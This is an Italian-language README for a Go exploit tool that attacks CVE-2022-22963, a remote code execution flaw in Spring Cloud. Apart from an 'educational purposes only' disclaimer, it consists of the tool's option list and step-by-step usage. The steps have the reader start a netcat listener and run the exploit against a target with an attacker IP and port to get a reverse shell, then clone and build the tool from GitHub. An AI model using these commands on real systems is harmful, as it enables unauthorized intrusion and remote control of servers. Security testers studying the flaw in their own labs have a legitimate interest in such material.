
Binari per CVE-2022-22963
Esecuzione di codice remoto sfruttando CVE-2022-22963 che attacca il servizio Spring Cloud.
Dichiarazione di non responsabilità: questo è solo a scopo educativo. L'autore non è responsabile per l'uso di questo programma. Usalo a tuo rischio e pericolo.
./CVE-2022-22963 -h
Usage:
CVE-2022-22963 [OPTIONS]
Application Options:
-u, --target-url= Target/Host url where 'Spring Cloud' is running. Example: -t http://somesite.htb
-p, --target-port= Port running the service. Example: -p 8080
-i, --attacker-ip= Attacker IPv4 Address. Example: -i 10.10.10.10
-l, --listening-port= Listening port to connect. Example: -l 1337
Help Options:
-h, --help Show this help message
Supponiamo che un target potenzialmente vulnerabile sia in esecuzione su http://somerandomserver.com:8080. Avvia nc in ascolto sulla porta 1337, quindi esegui nc -lvnp 1337. Poi, esegui lo script/exploit:
./CVE-2022-22963 -u http://somerandomserver.com -p 8080 -i 10.10.10.10 -l 1337
Se hai go installato sulla tua macchina, basta eseguire:
git clone https://github.com/GunZF0x/CVE-2022-22963.git
cd CVE-2022-22963
go run main.go -h #run without compiling any file
go build -o exploit main.go #build the file